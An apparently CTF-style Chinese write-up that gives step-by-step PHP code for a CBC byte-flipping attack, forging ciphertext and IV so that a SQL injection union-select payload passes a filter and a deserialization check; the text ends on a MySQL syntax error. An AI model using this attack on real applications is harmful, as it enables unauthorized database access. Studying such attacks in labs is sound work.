具体原理就不介绍了,百度上很多,直接放代码。因为用python3执行pcat大神的脚本出现很多语法和编码问题,所以打算用php脚本重写一遍攻击过程。
第一步:填写0 2nion select * from((select 1)a join (select * from you_want)b join (select 3)c);
提交后取得返回的cipher,替换php中的字符串,执行php文件,代码如下:
<?php $cipher_new = base64_decode(urldecode('E/2btd4lXULo0you/WrX2koJP+TE3geRjh0KCNQQ+IG54oHA5d3PDDejYyPIJgha49NuNN1A3GWbf7r9JiLun8reIPrsAjymZJFBNDnZYX8mw9Q6aFKKGWQTZxrlwNB04I9a/FnBGq1kpTcPtlLrwg=='));//获得的cipher替换此处的字符串 $cipher_new[6]=$cipher_new[6]^'2'^'u';//CBC字节翻转攻击 $cipher_new = urlencode(base64_encode($cipher_new));//编码 printf("%s",$cipher_new);//输出,可以重定向到某个文件中,便于粘贴 ?>第二步,把从第一步得到的cipher_new填写到请求头中,替换原有的cipher,发起请求,获得plain,用第一步获得的iv和现在得到的plain替换php文件中的字符串,执行php文件,获得iv_new,代码如下:
<?php $iv_raw = base64_decode(urldecode('QO+uxhnlXj/0fqrGaXPt1g=='));//用iv替换字符串 $plain = base64_decode('gSwYUxnRPhRbyBPMyamSvjg2OiIwIHVuaW9uIHNlbGVjdCAqIGZyb20oKHNlbGVjdCAxKWEgam9pbiAoc2VsZWN0ICogZnJvbSB5b3Vfd2FudCliIGpvaW4gKHNlbGVjdCAzKWMpOyUwMCI7fQ==');//用获得的plain替换字符串 $first='a:1:{s:2:"id";s:';//16个字节,即明文的第一行 $iv_new=''; for ($i=0; $i<16; $i++) {//进行异或,得到新的iv,使反序列化执行成功 $iv_new.=$first[$i]^$iv_raw[$i]^$plain[$i];//这里用.=而不是+= } printf("%s",urlencode(base64_encode($iv_new))); ?>第三步,用第二步获得的iv_new和第一步获得的cipher_new发起请求,sql语句提交成功。但是在实际试验中发现提示语法错误:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '
